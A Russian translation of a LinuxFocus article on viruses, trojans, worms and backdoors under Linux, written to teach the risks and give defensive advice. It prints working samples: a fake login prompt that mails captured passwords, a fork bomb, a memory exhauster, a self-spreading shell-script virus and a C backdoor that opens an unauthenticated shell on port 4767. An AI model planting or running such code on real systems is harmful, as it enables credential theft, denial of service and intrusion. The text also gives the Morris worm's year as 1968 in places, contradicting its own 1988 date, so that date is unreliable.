![[LinuxFocus-icon]](../../common/images/logolftop_319x45.gif){kind=small} |
|
|
 |
|
| эта страница доступна на следующих языках: English Castellano ChineseGB Deutsch Francais Italiano Nederlands Russian Turkce |
автор Christophe Blaess (homepage) Об авторе: Кристоф Блесс (Christophe Blaess) -- независимый инженер по аэронавтике. Он -- фанат Linux и бОльшую часть своей работы выполняет в этой системе. Он координирует перевод страниц руководства (man pages), публикуемых Linux Documentation Project. Перевод на Русский: Eugene S. Saenko <caspar(at)pisem.net> Содержание: |
Резюме:
Эта статья была опубликована в специальном выпуске Linux Magazine France, посвященном безопасности. Редактор, авторы, переводчики любезно позволили LinuxFocus опубликовать все статьи из этого специального выпуска. LinuxFocus, соответственно, представит их Вам, как только они будут переведены на английский. Благодарим всех, кто занят этой работой. Этот abstract будет включен в каждую статью из этого выпуска.
В этой статье рассматриваются проблемы внутренней безопасности, которые могут возникнуть в системах Linux из-за агрессивных программ, без вмешательства человека: вирусы, черви, троянцы и т.п. Мы углубимся в природу различных видов уязвимости, рассматривая за и против свободного программного обеспечения с этой точки зрения.
Существует, в основном, четыре вида опасностей, которые могут беспокоить пользователя, хотя часто бывает так, что в атаке используются различные механизмы:
Их не всегда так легко классифицировать; например, есть программы, классифицируемые некоторыми наблюдателями как вирусы, а другими -- как черви, причем окончательное решение принять очень трудно. Это не очень важно с точки зрения настоящей статьи, в которой рассматриваются повреждения, которые они могут нанести системе Linux.
Вопреки распространенному мнению эти четыре опасности уже существуют под Linux. Конечно вирусы находят здесь гораздо менее благоприятную среду распространения, чем, например, под DOS, но существующей угрозой не стоит пренебрегать. Рассмотрим, какие риски несут с собой упомянутые четыре механизма.
Вирус -- отрезок кода, встраиваемого внутрь программы-носителя, способного копировать себя и заразить другой исполняемый файл. Вирусы появились в семидесятых, когда тогдашние программисты играли в игру под названием "core war". Эта игра берет начало в Bell AT&T laboratories [MARSDEN 00]. Целью игры было параллельное выполнение маленьких программ, способных разрушить друг друга внутри ограниченной области памяти. Операционная система не обеспечивала взаимной защиты областей памяти программ, позволяя, таким образом, соперничающим программам уничтожать своих противников. С этой целью некоторые из них "бомбардировали" максимально возможные площади 'нулями', в то время, как другие постоянно перемещались по адресному пространству, с целью перезаписать код оппонента, а иногда несколько из них кооперировались, чтобы победить сильного "противника".
Алгоритм, разработанный для этой игры, был переведен на специально созданный для этой цели язык ассемблера "red code", который мог выполняться эмулятором на большинстве существующих в тот момент компьютеров. Интерес к этой игре был вызван обычным научным любопытством, как, например, интерес к исследованию игры Конвея "Жизнь", фракталов или генетических алгоритмов и т. п.
Тем не мене, согласно статьям по core war, опубликованным в Scientific American [DEWDNEY 84], случилось неизбежное и некоторые программисты начали писать саморазмножающиеся коды специально для загрузочных секторов гибких дисков или для исполняемых файлов, сначала для компьютеров Apple ][, затем для MacIntosh и PC.
Для своего распространения вирусы выбрали операционную систему MS DOS: статические исполняемые файлы хорошо известного формата, никакой защиты памяти, никакой безопасности доступа к файлам, широкое использование TSR, резидентных программ, располагающихся в памяти и т.п. Нужно принять во внимание и состояние умов пользователей, свободно меняющихся исполняемыми файлами на флоппи-дисках и даже не интересующихся происхождением файлов.
Проще всего объяснить вирус как небольшой отрезок кода, который дополнительно выполняется при запуске приложения. Во время своего выполнения он ищет другие исполняемые файлы, которые еще не инфицированы, вставляет себя в эти файлы ( стараясь не изменять исходную программу для бОльшей скрытности) и завершает свое выполнение. При запуске новых исполняемых файлов, процесс повторяется сначала.
Вирусы могут использовать различные виды "оружия" для собственного размножения. В [LUDWIG 91] и [LUDWIG 93] дано детальное описание вирусов для DOS, использующих изощренные средства для того, чтобы скрыться от антивирусного программного обеспечения: случайное шифрование, постоянное изменение кода и т.п. Встречаются даже вирусы, использующие методы генетических алгоритмов для оптимизации своих механизмов выживания и размножения. Информацию по этой теме можно найти в очень известной статье: [SPAFFORD 94].
Но следует иметь в виду, что кроме экспериментов по искусственной жизни, компьютерные вирусы могут причинить разнообразный вред. Хотя многократная репликация кода вируса только поглощает часть пространства (диска или памяти), вирусы могут использоваться в качестве вспомогательного транспортного агента для других сущностей, гораздо более неприятных: логических бомб, которые, также, можно обнаружить в троянских конях.
Осажденные троянцы на свою беду втащили в свой город огромную деревянную статую коня, оставленную осаждавшими греками в качестве жертвоприношения. Внутри коня находился отряд нападающих, которые, оказавшись в городе, под покровом ночи атаковали город изнутри, обеспечив победу греков в Троянской войне.
Известный термин "троянский конь" часто используется в области компьютерной безопасности для обозначения a priori безвредного приложения, которое, как и упоминавшиеся выше вирусы, несет в себе деструктивный код, называемый логической бомбой.
Логическая бомба -- изначально вредоносный раздел программы, который может вызвать различные эффекты:
Логическая бомба может также попытаться физически разрушить систему, в которой она находится. Возможностей для этого немного, но они есть (стирание CMOS, замена содержимого флеш-памяти модема, постоянные периодические движения плоттера могут создать разрушительную нагрузку, ускоренное движение головок жесткого диска...)
Продолжая "взрывную" метафору скажем, что для активизации логической бомбы нужен детонатор. Фактически, начинать разрушительные действия при первом запуске -- плохая с точки зрения эффективности тактика для троянского коня или вируса. Лучше после установки логической бомбы выждать до взрыва некоторое время. Это увеличивает "шансы" вируса попасть на другую систему, а если речь идет о троянском коне, затрудняет для пользователя выявление связи между установкой нового приложения и странным поведением машины.
Спусковые механизмы для любых вредоносных действий могут быть самые разнообразные: десять дней после установки, удаление определенной учетной записи (увольнение), неактивность клавиатуры и мыши в течение 30 минут, определенная загрузка очереди печати... возможностей хватает! Наиболее известные троянские кони -- скринсейверы, хотя сегодня и они выходят из моды. Кроме привлекательной внешности эти программы могут свободно выполнять вредоносные действия, особенно, если логическая бомба приводится в действие через час, что практически гарантирует, что пользователя нет перед компьютером.
Другой известный пример троянского коня -- следующий скрипт, выдающий на экран запрос логина/пароля, высылающий полученную информацию человеку, его запустившему и прекращающий свою работу. Если его запустить на незанятом терминале, он позволит перехватить пароль пользователя, который попытается залогироваться.
#! /bin/sh
clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
login: $login
passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout
Чтобы он отключился после выполнения, его надо запустить командой оболочки
exec. Жертва, увидев сообщение "Login incorrect", решит,
что он совершил ошибку при вводе, и залогируется вновь, теперь обычным образом.
Более продвинутые версии могут симулировать входной диалог X11. Чтобы избежать
этой ловушки, стоит взять за правило, садясь за терминал, в первый раз ввести
фальшивую пару логин/пароль, чтобы во второй раз по-настоящему войти в систему
(такой рефлекс вырабатывается очень легко).
"Черви" имеют ту же природу, что и вирусы. Это -- программы, которые размножаясь стараются максимально рассеяться. Даже если это не главное их качество, они могут содержать логическую бомбу с отложенным срабатыванием. Разница между червями и вирусами состоит в том, что черви используют для своего переноса с компьютера на компьютер не программу-носитель, а пользуются для этой цели возможностями, предоставляемыми сетями, такими, как электронная почта.
Технический уровень червей довольно высок; они используют для дублирования себя на удаленной машине уязвимости программного обеспечения сетевых служб. Их прародителем был "Internet Worm (Интернет-червь)" 1968 года.
Internet Worm -- это пример чистого червя, не содержащего логической бомбы, тем не менее, его неожиданно разрушительный эффект был ужасен. Вы можете найти краткое но сильное описание в [KEHOE 92], а детальный анализ в [SPAFFORD 88] или [EICHIN 89]. Имеется еще менее специальное, но более эмоциональное описание в [STOLL 89] (сопровождаемое сагой о яйце кукушки (Cuckoo Egg saga)). Здесь и неистовая борьба с этим червем, и отчаяние администраторов пораженных этим червем систем.
Короче говоря, этот червь -- это программа, написанная Робертом Моррисом мл. (Robert Morris Jr), студентом Корнельского университета, уже известным по статье по проблемам компьютерной безопасности в сетевых протоколах [MORRIS 85]. Тот факт, что он был сыном человека, ответственного за компьютерную безопасность в NCSC (Национальный центр по защите компьютерных систем), отделении NSA (Агентство национальной безопасности), увеличивало драматизм. Червь был запущен в конце дня 2-го ноября 1988 года и заблокировал большинство систем, подключенных к Интернет. Его работа состояла из нескольких стадий:
netstat, предоставляющие информацию о сетевых интерфейсах./etc/passwd), и усугубляющуюся неудачным
выбором паролей некоторыми пользователями. От этой первой уязвимости избавились
с помощью shadow passwords (теневых паролей).~/.rhost и /etc/hosts.equiv. В этом
случае для выполнения команд на удаленном компьютере используется
rsh. Таким образом ему удавалось скопировать себя на новый
компьютер и процесс начинался сначала.fingerd. sendmail, позволяющая направлять почту
непосредственно на стандартный вход программы. Эта опция никогда не должна
включаться на машинах производственного назначения, но, к сожалению,
большинство администраторов игнорируют это правило.Надо отметить, что хотя червь получал возможность выполнять некоторые команды на удаленной машине, процесс самокопирования был довольно сложен. Требовалось передать небольшую программу на C, скомпилировать ее на месте и запустить. Она устанавливала TCP/IP соединение с исходным компьютером и получала все двоичные файлы червя. Имелись предварительно компилированные двоичные файлы для различных архитектур (Vax и Sun), они испытывались один за другим. Более того, червь был очень умен и прятался, заметая за собою следы.
К сожалению, механизм, предотвращавший многократное заражение компьютера, не работал, как предполагалось, и разрушительный аспект червя Internet 88, не содержавшего логической бомбы, проявлял себя жесткой перегрузкой пораженных систем (особенно блокировкой электронной почты, что вызывало задержки в обслуживании).
Существует относительно немного разновидностей червей. Это обусловлено их сложностью. Их не следует смешивать с другим видом опасности, вирусами, распространяемыми с помощью вложений в электронные письма, такими, как знаменитый "ILoveYou". Эти вирусы довольно просты, поскольку это -- макросы, написанные (на Бейсике) для автоматического запуска при чтении почты. Они работают только на некоторых операционных системах, если почтовая программа сконфигурирована простейшим образом. Эти программы больше похожи на троянских коней, чем на червей, поскольку для их запуска требуется активность пользователя.
Черные ходы (Backdoors) можно спутать с троянскими конями, но это не одно и то же. Черный ход позволяет ("продвинутому") пользователю повлиять на программное обеспечение, изменить его поведение. Это можно сравнить с секретными кодами (cheat codes), которые используются в некоторых играх, чтобы получить больше ресурсов, попасть на верхний уровень и т.п. Но это же применимо и критичным программам, предназначенных для аутентификации соединений или электронной почты, поскольку в них может быть секретный вход по паролю, известному только создателю программы.
Программисты часто, с целью облегчить фазу отладки, оставляют открытой
маленькую дверцу, чтобы иметь возможность работать с программой не проходя через
механизм аунтентификации, в том числе и когда программа установлена у клиента.
Иногда обычный вход имеет пароли по умолчанию (system,
admin, superuser, и т.п.) которые не документированы,
что позволяет администраторам оставлять их включенными.
Вспомните различные скрытые входы, позволявшие общаться с ядром системы в фильме "Wargame", да можно найти и более ранние упоминания о подобных возможностях. В немыслимой статье [THOMPSON 84] Кен Томпсон (Ken Thompson), один из создателей UNIX, описывает скрытый доступ, который он воплотил на системах Unix много лет назад:
/bin/login, включив в нее дополнительный
код, позволявший прямой доступ к системе при вводе определенного пароля (не
принимая во внимание /etc/passwd). Таким образом Томпсон мог
проникнуть на любую систему, в которой использовалась эта версия
login.login.c имелся в системах Unix и каждый мог бы прочесть
поддельный код. Чтобы избежать этого Томпсон поставлял чистый
login.c без люка.login.c, удалив таким образом поддельную версию. Чтобы избежать
этого, Томпсон модифицировал стандартный компилятор C, сделав его способным
добавлять черный ход, если он обнаружит, что кто-то компилирует
login.c.cc.c был доступен
всем и каждый мог прочесть и перекомпилировать компилятор. Томпсон,
соответственно, поставлял чистый исходный код компилятора, но двоичный файл,
уже обработанный, был способен найти собственные исходные файлы и включить код,
необходимый для инфицирования login.c...Что с этим поделаешь? Да ничего! Единственный путь -- начать разработку абсолютно новой системы. Если Вы не строите машину "с нуля", начиная с микрокода, операционной системы, компиляторов и утилит, Вы не можете быть уверенным, что каждое из приложений чисто, даже если доступен исходный код.
Мы рассмотрели главные риски в любой системе. А теперь давайте посмотрим на меры, принимаемые в свободном программном обеспечении и Linux.
Во-первых, давайте рассмотрим повреждения, которые логическая бомба способна причинить системе Linux. Конечно, это зависит от желаемого эффекта и прав пользователя, от имени которого она запускается.
Если дело касается разрушения файлов или доступа к конфиденциальной информации, то мы имеем два случая. Если бомба выполняется от имени root, в ее распоряжении вся мощь машины, включая возможность удаления любого раздела диска и доступ к аппаратному обеспечению. Если она выполняется от имени другого пользователя, она не может быть более деструктивной, чем пользователь с соответствующими правами. Она может разрушить только данные, принадлежащие этому пользователю. В этом случае каждый в ответе за свои файлы. Ответственный системный администратор выполняет от имени root лишь немногие задачи, что уменьшает вероятность запустить от этого имени логическую бомбу.
Система Linux неплохо защищена с точки зрения доступа к частным данным и к аппаратному обеспечению, но чувствительна к атакам, делающим ее неработоспособной из-за поглощения большого количества ресурсов. Например, следующую программу трудно остановить, даже если она запущена от имени обычного пользователя, поскольку, если количество процессов на пользователя не ограничено, она будет "съедать" все доступные входы в таблице процессов и предотвращать любую попытку убить ее:
#include <signal.h>
#include <unistd.h>
int
main (void)
{
int i;
for (i = 0; i < NSIG; i ++)
signal (i, SIG_IGN);
while (1)
fork ();
}
Пределы, которые Вы можете установить для пользователей, (с помощью
системного вызова setrlimit() и функции оболочки
ulimit), позволяют сократить время жизни такой программы, но они
могут подействовать только через некоторое время после того, как система стала
недоступной.
По этой же причине программа, подобная следующей, занимает всю доступную память и зацикливается, "съедая" циклы центрального процессора, создавая помехи остальным процессам:
#include <stdlib.h>
#define LG 1024
int
main (void) {
char * buffer;
while ((buffer = malloc (LG)) != NULL)
memset (buffer, 0, LG);
while (1)
;
}
Обычно, в новейших версиях ядра, эту программу автоматически убивает механизм управления виртуальной памятью. Но до этого ядро может убить другие процессы, которые требуют много памяти и временно неактивны (например, приложения X11). Более того, все другие процессы, требующие памяти, не получат ее, что часто приводит к их прерыванию.
Вывести из строя сетевые службы также довольно просто, перегрузив
соответствующий порт непрерывными запросами соединения. Решения, позволяющие
избежать этого, существуют, но они не всегда применяются администратором. Надо
отметить, даже если логическая бомба, запущенная от имени обычного пользователя
не может повредить файлы ему не принадлежащие, она может наделать много
неприятностей. Достаточно скомбинировать несколько fork(),
malloc() и connect(), чтобы жестоко поразить систему и
сетевые службы.
Тема: Вирусы Unix ВЫ ПОЛУЧИЛИ ВИРУС UNIX Этот вирус действует в соответствии с корпоративным принципом: Если у Вас Linux или Unix, пожалуйста, перешлите это послание своим друзьям и уничтожьте несколько файлов на Вашей системе.
Вопреки расхожему мнению, вирусы могут действовать под Linux. Есть разные вирусы. В действительности правда то, что вирусы не находят под Linux благоприятной почвы для распространения. Для начала, давайте рассмотрим фазу заражения машины. На ней должен быть выполнен код вируса. Это значит, что зараженный исполняеый файл был скопирован с другой системы. В мире Linux принято, чтобы передать кому-либо программу, передать ему URL, где находится программа, вместо отправки ему исполняемых файлов. Это значит, что вирус придет с официального сайта, где он может быть легко обнаружен. Если машина инфицирована, то, чтобы вирус мог распространиться, она должна использоваться в качестве платформы распространения скомпилированных программ, что встречается нечасто. Фактически, исполняемый файл -- не очень хорошее транспортное средство для логической бомбы в мире свободного программного обеспечения.
Что касается распространения в пределах машины, конечно, зараженная программа может повлиять только на файлы, на которые пользователь, запустивший эту программу, имеет право записи. Благоразумный администратор от имени root выполняет только операции, действительно требующие таких прав, и вряд ли будет испытывать новую программу под этим именем. Если не устанавливать Set-UID root приложению, зараженному вирусом, риск значительно снижается. Если обычный пользователь запускает зараженную программу, вирус повлияет только на файлы, принадлежащие этому пользователю, что не позволит ему распространиться на системные утилиты.
То, что вирусы представляли утопию под Unix в течение длительного времени, обусловлено разнообразием процессоров (то есть языков ассемблера) и библиотек (то есть ссылок на объекты), которые ограничивают количество прекомпилированного кода. Сегодня это не совсем так и вирус, заражающий ELF-файлы, компилированные для Linux на процессоре i386 с библиотекой GlibC 2.1, найдет немало целей. Более того, вирус может быть написан на языке, не зависящем от системы, на которой он выполняется. Например, вирус для скрипта оболочки. Он пытается попасть в любой скрипт в каталоге, из которого был запущен. Чтобы избежать повторного заражения одного и того же скрипта, вирус игнорирует скрипты, у которых во второй строке стоит комментарий "infected" или "vaccinated" ("инфицирован" или "вакцинирован").
#! /bin/sh
# infected
( tmp_fic=/tmp/$$
candidates=$(find . -type f -uid $UID -perm -0755)
for fic in $candidates ; do
exec < $fic
# Попытаемся прочесть первую строку,
if ! read line ; then
continue
fi
# и удостоверимся, что это -- скрипт оболочки.
if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ; then
continue
fi
# Прочтем вторую строку.
if ! read line ; then
continue
fi
# Файл уже инфицирован или вакцинирован?
if [ "$line" == "# vaccinated" ] || [ "$line" == "# infected" ] ; then
continue
fi
# Если нет -- заразим его: скопируем тело вируса,
head -33 $0 > $tmp_fic
# и исходный файл.
cat $fic >> $tmp_fic
# Заменим исходный файл.
cat $tmp_fic > $fic
done
rm -f $tmp_fic
) 2>/dev/null &
Этот вирус не заботится о том, чтобы спрятать себя или результаты своей
деятельности, за исключением того, что действует в фоновом режиме, оставляя
исходный скрипт делать его обычную работу. Конечно, не запускайте этот скрипт как
root! Особенно, если Вы замените find . на
find /. Несмотря на простоту этой программы, очень легко потерять
контрольнад ней, особенно, если в системе имеется множество скриптов,
приспособленных к специальным условиям.
Таблица 1 содержит информацию о хорошо известных вирусах под Linux. Все они поражают исполняемые ELF-файлы, помещая свой код сразу после заголовка файла и сдвигая к концу файла остаток исходного кода. Если не указано иное, они ищут потенциальные цели в системных каталогах. Исходя из этой таблицы Вы можете заключить, что вирусы под Linux -- это не анекдот, хотя они и не очень пугают, главным образом потому, что до сих пор эти вирусы безвредны.
| Имя | Логическая бомба | Примечания |
| Bliss | Видимо неактивна | Автоматическая дезинфекция исполняемого файла при вызове с опцией
--bliss-disinfect-files-please
|
| Diesel | Нет | |
| Kagob | Нет | Использует временный файл для выполнения зараженной исходной программы |
| Satyr | Нет | |
| Vit4096 | Нет | Поражает файлы только в текущем каталоге. |
| Winter | Нет | Тело вируса состоит из 341 байта. Поражает файлы только в текущем каталоге. |
| Winux | Нет | Этот вирус содержит два различных кода и может поражать как файлы Windows, так и Elf-файлы. Но он не может попасть на разделы, отличные от того, на котором находится он сам, что сдерживает его распространение. |
| ZipWorm | Вставляет "куплеты" текста о Linux и Windows в Zip-файлы, которые ему удается найти. |
Вы можете заметить, что вирус "Winux" способен распространяться как под Windows, так и под Linux. Это безвредный вирус, скорее проверка возможностей, чем реальная угроза. Тем не менее, мурашки бегают по спине, если подумать о том, что такой непрошенный гость может перепрыгивать с одного раздела на другой, вторгаться в гетерогенные сети, используя серверы Samba и т.п. Избавление от него превратится в мУку, поскольку необходимые инструменты должны быть доступны одновременно в обеих системах. Важно отметить, что механизм защиты Linux, не позволяющий вирусу, работающему под идентификатором нормального пользователя, поразить системные файлы, не работает при доступе к разделу вируса, работающего под управлением Windows.
Давайте примем точку зрения: любые административные предосторожности, которые Вы можете предпринять под Linux, становятся неэффективными, если Вы загружаете машину с раздела Windows, на котором возможно "поселился" мультиплатформенный вирус. Это является проблемой для каждой машины, использующей двойную загрузку с двумя операционными системами; общая защищенность машины зависит от системы безопасности слабейшей из систем! Единственное решение состоит в том, чтобы предотвратить доступ к разделам Linux любого приложения Windows, используя шифрованную файловую систему. Но такие файловые системы, пока, не очень распространены и могу поспорить, что вскоре вирусы, атакующие несмонтированные разделы, будут представлять заметную опасность для машин Linux.
Троянские кони так же опасны, как и вирусы, но, пожалуй, их создатели более осторожны. В отличие от логической бомбы, которую несет вирус, бомбу внутрь троянского коня помещает определенный человек. В мире свободного программного обеспечения расстояние от автора некоторого участка кода до конечного пользователя ограничено одним-двумя посредниками (скажем, один -- участник разработки, а второй -- тот, кто готовит дистрибутив). Если обнаружен троянский конь, "преступника" легко найти.
Таким образом, мир свободного программного обеспечения довольно хорошо защищен против троянских коней. Но мы говорим о свободном программном обеспечении, как мы его знаем сегодня, с управляемыми проектами, ответственными разработчиками и собственными сайтами. Это довольно далеко от shareware или freeware, доступного только скомпилированным, анархически распространяемого сотнями web-сайтов (или CD, прилагаемых к журналам), где автор известен только по адресу e-mail, который легко фальсифицировать; все это дает твердую почву настоящим троянцам.
Давайте отметим тот факт, что иметь исходный текст и самостоятельно
откомпилировать его -- это еще не гарантия безопасности. Опасная логическая бомба,
например, может быть спрятана в скрипте "configure", (он вызывается
во время "./configure; make"), который обычно имеет более 2000
строк! И последнее по порядку, но не по значению, исходный код приложения чист и
компилируется; но это не помешает спряьтать логическую бомбу в Makefile
и активизировать ее финальной командой "make install",
выполняемой обычно от имени root!
И, наконец, важная часть вирусов и троянских коней, опасных под Windows, это макросы, выполняемые при работе с документом. Программные пакеты под Linux не способны интерпретировать эти макросы, по крайней мере сейчас, и пользователь легко обретает необоснованное ощущение безопасности. Наступит время, когда эти программы смогут выполнять макросы Бейсика, включенные в документ. Рано или поздно разработчикам придет в голову (плохая) идея позволить этим макросам выполнять системные команды. Конечно, как и в случае с вирусами, разрушительный эффект ограничен привилегиями пользователя. Но факт, что не потеряны системные файлы (впрочем, доступные с инсталляционного CD), это очень слабое утешение для пользователя, только что потерявшего все свои документы, исходные тексты, почту, если последняя резервная копия была сделана месяц назад.
В конце раздела, посвященного троянским коням, давайте отметим, что всегда
имеется в виду досадить пользователю, даже если разрушений не производится,
приходится принимать какие-то меры. В Usenet можно, время от времени, найти
сжатые файлы, размножающиеся в группы файлов до тех пор, пока не будет заполнено
все дисковое пространство. Некоторые файлы Postscript могут, также, блокировать
интерпретатор (ghostscript или gv), захватывая время
процессора. Они не разрушительны, но досаждают и приводят к потерям времени.
В 1968 году, во времена Internet Worm еще не было Linux; он бы стал целью атаки. Доступность исходного кода свободных программ делает поиск уязвимостей очень простым (например, переполнение буфера). Сложность написания червя "хорошего качества" уменьшает количество таковых под Linux. В таблице 2 приведены некоторые из них, наиболее распространенные.
Черви используют уязвимости сетевых серверов. Для рабочих станций, подключающихся к Интернет время от времени риск теоретически ниже, чем для постоянно подключенных серверов. Тем не менее, развитие методов подключения, предлагаемых домашним пользователям (кабель, SDL и т.п.), и легкость воплощения современных сетевых служб (HTTP серверы, анонимные FTP и т.п.) приводят к тому, что ими начинают интересоваться все.
| Имя | Уязвимость | Примечания |
Lion (1i0n) |
bind |
Открывает на пораженной машине черный ход (TCP port 10008) и устанавливает root-kit. Отправляет информацию о машине по адресу e-mail в Китай. |
| Ramen | lpr, nfs,
wu-ftpd |
Меняет файлы index.html, которые находит. |
| Adore (Red Worm) | bind, lpr, rpc,
wu-ftpd |
Открывает в системе черный ход и высылает информацию о системе по адресам
e-mail в Китай и США. Чтобы спрятать свои процессы, устанавливает
модифицированную версию ps. |
| Cheese | Как Lion | Червь проявляет себя с лучшей стороны, обнаруживая и закрывая черные ходы, открытые червем Lion. |
Что касается червей, следует отметить, что их распространение ограничено во времени. Они могут "спастись" только копируя себя с одной системы на другую и, поэтому, они зависят от недавно открытых уязвимостей. Оперативное обновление программ останавливает их распространение. В будущем, видимо, домашние системы будут должны автоматически (каждый день) проверять на сайтах разработчиков -- они должны заслуживать доверия -- наличие заплаток безопасности для системных программ. Это станет необходимым, чтобы не заставлять пользователя выполнять все время работу системного администратора, вместо того, чтобы пользоваться сетевыми приложениями.
Проблема черного хода важна, даже для свободного программного обеспечения. Конечно, если исходный текст программы доступен, Вы, теоретически, можете проверить, что она делает. Фактически, очень немногие люди читают содержимое архивов, загруженных из Интернета. Например, небольшая программа, приведенная ниже, создает полноценный черный ход, а, благодаря небольшому размеру, ее можно спрятать внутри достаточно большого приложения. Эта программа написана на основе примера из моей книги [BLAESS 00], иллюстрирующего механизм псевдотерминала. Эта программа не очень читабельна, поскольку из нее удалены комментарии, чтобы сделать ее короче. С этой же целью из нее удалены все проверки ошибок. При выполнении эта программа открывает TCP/IP сервер с портом, упомянутым в начале программы (по умолчанию 4767) на каждом сетевом интерфейсе машины. Каждый запрос соединения по этому порту автоматически получает доступ к оболочке без всякой аутентификации!!!
#define _GNU_SOURCE 500
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <termios.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define ADRESSE_BACKDOOR INADDR_ANY
#define PORT_BACKDOOR 4767
int
main (void)
{
int sock;
int sockopt;
struct sockaddr_in adresse; /* address */
socklen_t longueur; /* length */
int sock2;
int pty_maitre; /* pty_master */
int pty_esclave; /* pty_slave */
char * nom_pty; /* name_pty */
struct termios termios;
char * args [2] = { "/bin/sh", NULL };
fd_set set;
char buffer [4096];
int n;
sock = socket (AF_INET, SOCK_STREAM, 0);
sockopt = 1;
setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt));
memset (& adresse, 0, sizeof (struct sockaddr));
adresse . sin_family = AF_INET;
adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
adresse . sin_port = htons (PORT_BACKDOOR);
if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))
exit (1);
listen (sock, 5);
while (1) {
longueur = sizeof (struct sockaddr_in);
if ((sock2 = accept (sock, & adresse, & longueur)) < 0)
continue;
if (fork () == 0) break;
close (sock2);
}
close (sock);
if ((pty_maitre = getpt()) < 0) exit (1);
grantpt (pty_maitre);
unlockpt (pty_maitre);
nom_pty = ptsname (pty_maitre);
tcgetattr (STDIN_FILENO, & termios);
if (fork () == 0) {
/* Son: shell execution in the slave
pseudo-TTY */
close (pty_maitre);
setsid();
pty_esclave = open (nom_pty, O_RDWR);
tcsetattr (pty_esclave, TCSANOW, & termios);
dup2 (pty_esclave, STDIN_FILENO);
dup2 (pty_esclave, STDOUT_FILENO);
dup2 (pty_esclave, STDERR_FILENO);
execv (args [0], args);
exit (1);
}
/* Father: copy of the socket to the master pseudo-TTY
and vice versa */
tcgetattr (pty_maitre, & termios);
cfmakeraw (& termios);
tcsetattr (pty_maitre, TCSANOW, & termios);
while (1) {
FD_ZERO (& set);
FD_SET (sock2, & set);
FD_SET (pty_maitre, & set);
if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
& set, NULL, NULL, NULL) < 0)
break;
if (FD_ISSET (sock2, &set)) {
if ((n = read (sock2, buffer, 4096)) < 0)
break;
write (pty_maitre, buffer, n);
}
if (FD_ISSET (pty_maitre, &set)) {
if ((n = read (pty_maitre, buffer, 4096)) < 0)
break;
write (sock2, buffer, n);
}
}
return (0);
}
Вставка такого кода в большую программу (например, sendmail)
останется незамеченной в течение времени, достаточно длительное, чтобы могло
произойти вторжение. Более того, некоторые люди -- непревзойденные мастера
прятать действия в отрезках кода, как в программах, представляемых ежегодно на
IOCC (International Obsfucated C Code Contest (Международный конкурс
туманных C-кодов)). Этот конкурс может служить иллюстрацией сказанного.
Черные ходы нельзя рассматривать как чисто теоретическую возможность. Такие проблемы действительно возникали, например в пакете Piranha из дистрибутива Red-Hat 6.2, который принимал пароль по умолчанию. Игра Quake 2 также попала под подозрение на наличие черного хода, позволяющего удаленное выполнение команд.
Механизмы черных ходов могут, также, прятаться внутри таких сложных конструкций, что их невозможно обнаружить большинству людей. Типичный пример -- шифровальные системы. Например, система SE-Linux, это версия Linux, в которой безопасность усилена заплатками, разработанными NSA (Агентством национальной безопасности). Разработчики Linux, проверившие предоставленные заплатки, заявили, что ничто не кажется подозрительным, но никто не может быть уверенным и немного найдется людей, обладающих математическими знаниями, необходимыми, чтобы открыть такую уязвимость.
Рассмотрение этих опасных программ, найденных в мире Gnu/Linux, позволяет нам прийти к выводу: свободное программное обеспечение не свободно от вирусов, червей, троянских коней и т.п.! Не надо быть паникером, но следует относиться с должным вниманием к предупреждениям, касающимся безопасности используемых программ, особенно, если машина часто подключается к Интернет. Сегодня очень важно выработать хорошие жизненные правила: обновляйте программное обеспечение, как только обнаружена уязвимость; используйте только необходимые сетевые службы; загружайте программное обеспечение только с доверительных web-сайтов; проверяйте, как можно чаще PGP или MD5 подписи для загруженных пакетов. Наиболее "серьезные" люди автоматизируют контроль установленных приложений, например, с помощью скриптов.
Нужно сделать еще одно замечание: две главные опасности для систем Linux в будущем -- это прикладные программы, слепо принимающие к исполнению макросы, содержащиеся в документах (включая электронную почту) или мультиплатформенные вирусы, которые, даже исполняясь под Windows могут вторгаться в исполняемые файлы на разделах Linux на этой же машине. Если первая проблема зависит от поведения пользователя, который не должен позволять своим прикладным программам принимать все без разбору, вторая довольно сложна для решения, даже для добросовестного администратора. В очень недалеком будущем на рабочих станциях Linux, подключаемых к Интернет, будут устанавливаться мощные детекторы вирусов. Давайте будем надеяться, что эти проекты очень скоро воплотятся в мире свободного программного обеспечения.
Большое количество документов о вирусах, троянских конях и других компьютерных угрозах очень важны. Есть множество текстов, в которых говорится о современных вирусах, как и что они делают. Конечно большинство из этих документов посвящено DOS/Windows, но некоторые из них касаются и Linux. Статьи, перечисленные здесь, скорее классические и в них анализируются теоретические механизмы.
|
|
Webpages maintained by the LinuxFocus Editor team
© Christophe Blaess, FDL LinuxFocus.org |
Translation information:
|
2002-10-10, generated by lfparser version 2.31